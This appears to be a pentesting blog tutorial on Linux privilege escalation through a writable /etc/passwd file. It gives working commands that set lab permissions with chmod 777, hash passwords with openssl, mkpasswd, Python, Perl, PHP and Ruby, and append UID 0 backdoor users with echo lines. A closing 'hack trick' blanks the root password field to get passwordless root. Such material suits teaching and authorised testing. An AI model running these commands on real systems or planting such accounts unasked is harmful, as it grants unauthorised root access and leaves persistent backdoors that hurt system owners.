Privilege Escalation in Linux using etc/passwd file

In this article, we will focus on exploring diverse techniques to modify the etc/passwd file, enabling us to create or alter a user and grant them root privileges. It becomes crucial to understand how to edit your own user within the /etc/passwd file when dealing with privilege escalation on the compromised system. If you're interested, we have previously demonstrated this method for privilege escalation in our earlier articles. You can find the links below.

Table of Contents

About /etc/passwd file

·       Understand the basic

·       Adding new user to /etc/passwd file

Different methods to create passwd for /etc/passwd file

·       OpenSSL

·       Mkpasswd

·       Python

·       Perl

·       Php

·       Ruby

·       Bonus: Hack Trick

 

Firstly, we should be aware of /etc/passwd file in depth before reaching the point. Inside etc directory, we will get three most important files i.e. passwd, group, and shadow.

etc/passwd: It is a human-readable text file which stores information of user account.

etc/group: It is also a human-readable text file which stores group information as well as user belongs to which group can be identified through this file.

etc/shadow: It is a file that contains encrypted password and information of the account expire for any user.

The format of details in /passwd File

Get into its Details Description

Username: First filed indicates the name of the user which is used to login.

Encrypted password: The X denotes encrypted password which is actually stored inside /shadow file. If the user does not have a password, then the password field will have an *(asterisk).

User Id (UID): Every user must be allotted a user ID (UID). UID 0 (zero) is kept for root user and UIDs 1-99 are kept for further predefined accounts, UID 100-999 are kept by the system for the administrative purpose. UID 1000 is almost always the first non-system user, usually an administrator. If we create a new user on our Ubuntu system, it will be given the UID of 1001.

Group Id (GID): It denotes the group of each user; like as UIDs, the first 100 GIDs are usually kept for system use. The GID of 0 relates to the root group and the GID of 1000 usually signifies the users. New groups are generally allotted GIDs begins from 1000.

Gecos Field: Usually, this is a set of comma-separated values that tells more details related to the users. The format for the GECOS field denotes the following information:

User’s full name

Building and room number or contact person

Office telephone number

Shell: It denotes the full path of the default shell that executes the command (by the user) and displays the results.

 NOTE: Each field is separated by (colon)

Let’s Start Now!!

Adding User by Default Method

Let’s start with reading /etc/passwd file through cat command, to view the present users available in our system.

cat /etc/passwd

From the image given above, you can find that “pentest” is the last user with uid 1000. Here gid 1000 denotes it is a non-system user.

Let see what happened in ‘/passwd’ file, when we add any user with adduser command. So here you can clearly match the following information from below given image.

adduser user1

Username: user1

GID: 1001

UID: 1001

Enter password: (Hidden)

Home Directory: /home/user1

Other Filed: Full Name, Room Number, Work phone, Home Phone, Other (are blanked)

 

When you will open /passwd file then you will notice that all the above information has been stored inside /etc/passwd file.

 

Repeat the steps again and adding user2 into /etc/passwd file.

 

Now check with tail command, user2 is successfully added to /etc/passwd file and below information is updated accordingly.

GID: 1002

UID: 1002

Enter password: (Hidden)

Home Directory: /home/user1

 

For the privilege escalation it is required that /etc/passwd file must have ‘rwx’ permissions for the logged in user. So, we are giving ‘rwx’ permission to /passwd file for lab setup.

Chmod 777 /etc/passwd

 

Now our lab setup is done.

Possible Scenarios:

If /etc/passwd file is editable what would be the possible scenarios to escalate the privileges?

Scenario 1: Replace the password hash for existing users in /etc/passwd file with our encrypted password.

Scenario 2: Manually add a new root privilege user to /etc/passwd file with our encrypted password.

Scenario 3: Tempering the root or high privilege user password in /etc/passwd file.

Lets start now!

Connect with this machine with SSH:

ssh pentest@192.168.1.22

tail /etc/passwd

ls -al /etc/passwd

 

It is clearly visible that /etc/passwd file has all permissions.

OpenSSL

Sometimes, the execution of the passwd command for user password setup might not be feasible. In such situations, the OpenSSL command can be employed. This command generates a salted encrypted password.

OpenSSL is a widely used open-source library that provides various cryptographic functions, protocols, and tools for securing communications over computer networks. The openssl passwd command allows you to generate password hashes for different algorithms, such as DES, MD5, SHA-256, and more.

Method 1

Here, we generated password in our kali machine.

openssl passwd raj

 

$1 = indicates that the generated passwd in MD5 hash format.

Now use this salted password for “aarti” user using echo command to put password in etc/passwd.

echo ‘aarti:$1$cJ05ZYPP$06zg1KtuJ/CbzTWPmeyNH1:0:0:root:/root:/bin/bash’ >> /etc/passwd

here, you can observed that we have allotted uid: 0 and gid: 0 and home directory /root/root hence we have given root privilege to our user “aarti”. Now switch user and access the terminal through aarti and confirm the root access.

tail /etc/passwd

su aarti

id

 

Method 2

This becomes relevant when OpenSSL is present on the victim's system, allowing us to create passwords within the victim's machine itself.

openssl passwd 123

echo ‘user3:ghTC5HTjVd/7M:0:0:root:/root:/bin/bash’ >> /etc/passwd

tail /etc/passwd

Now switch user and access the terminal through user3 and confirm the root access.

su user3

id

 

Cool!!! Both methods are working.

Mkpasswd

It is an alternate method of Openssl. mkpasswd is a command-line tool utilized for producing password hashes intended for diverse authentication systems.

mkpasswd -m <method> <password>

Here, <method> specifies the hash algorithm (like sha-512, md5, etc.), and <password> is the password you want to hash.

mkpa

sswd -m SHA-512 pass123

 

You can use the above similar method to add password to /etc/passwd file or manually edit.

nano /etc/passwd

In below image you can observe that I have allotted uid: 0 and gid: 0 and home directory /root/root hence we have given root privilege to our user4.

 

Now switch user and access the terminal through user4 and confirm the root access.

su user4

id

Great!!! It is also working.

Python

Python allows us to add salt to our passwords, which will create an encrypted password that includes the salt value.

python2 -c 'import crypt; print crypt.crypt("pass123", "$6$salt")'

If above command is not working, you can use the python3 or check the installed python version with “which python” command.

python3 -c 'import crypt; print (crypt.crypt("pass123", "$6$salt"))'

 

Use any method to edit and put encrypted passwd into /etc/passwd file and switch to user5. Here we used nano editor.

su user5

id

 

It is also working.

Perl

Similar to this, we can create a hash value for our password using salt value using Perl along with crypt.

perl -le 'print crypt("pass123", "abc")'

 

You will get the encrypted password; repeat the manual step of adding new user "user6" and putting the encrypted value into the password field with the echo command in terminal.

echo ‘user6:abBxjdJQWn8xw:0:0:root:/root:/bin/bash’ >> /etc/passwd

here, you can see that we have allotted uid: 0 and gid: 0 and home directory /root/root hence we have given root privilege to our user6. Switch to new user user6

su user6

id

 

Great!! This method is also working.

PHP

The hash for our password may also be created using PHP along with crypt using the salt value.

php -r "print(crypt('aarti','123') . \"\n\");"

 

You will get the encrypted password; repeat the same method of adding new user "user7" and putting the encrypted value into the password field with the echo command in terminal.

echo ‘user7:121z.fuKOKzx.:0:0:root:/root:/bin/bash’ >> /etc/passwd

In below image you can observe that we have allotted uid: 0 and gid: 0 and home directory /root/root hence we have given root privilege to our user7.

tail -n 2 /etc/passwd

su user7

id

 

Working!!!

Ruby

As we have already use Python, Perl, PHP in the same way Ruby can be used for creating encrypted password along with crypt using the salt value.

ruby -r ‘digest’ -e ‘puts “pass”.crypt(“$6$salt”)’

 

Use any of above way to edit /etc/passwd and switch to new user user8

su user8

id

 

This is also working.

Bonus: Hack Trick

If you are lazy to perform any of above methods you should try this!!!

If /etc/passwd file is having -rwxrwxrwx permissions in victim system, open /etc/passwd file and remove the ‘X’ or ‘*’ value at the place of root password. As shown in image below:

 

Methodology: The 'x' value in the /etc/passwd file indicates that the actual password hash is stored in the /etc/shadow file (or a similar location), rather than in the /etc/passwd file itself.

If you remove the 'x' value and replace it with something else or leave it blank, the root user's password will no longer be stored securely and the system won't be able to authenticate the root user using the stored password hash from the /etc/shadow file.

Keep the root password blank and save the /etc/passwd file.

root::0:0:root:/root:/bin/bash

 

Now, switch to root user

su root

id

Boom… you have the root access without passwd. You can use this method on other high privilege user roles.

Hence there are so many ways to escalate privileges via editable /etc/passwd.